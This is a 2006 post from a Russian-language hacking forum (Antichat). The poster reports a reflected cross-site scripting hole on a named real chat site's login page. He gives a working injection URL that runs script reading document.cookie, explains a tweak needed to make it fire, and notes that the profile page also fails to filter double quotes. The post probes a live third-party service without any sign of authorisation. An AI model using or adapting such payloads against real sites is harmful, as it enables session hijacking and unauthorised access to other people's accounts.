04.10.2006, 23:36
|
|
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315
Репутация:
1228
|
|
первое че брасаеться в глаза это пасив на главной странице
Код:
http://chat.russianamerica.com:8080/login?login=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
ток пробел над убрать в document.cookie
буду смотреть дальше...
-- в профиле не фильтруються двойные кавычки
Последний раз редактировалось nc.STRIEM; 04.10.2006 в 23:59..
|
|
|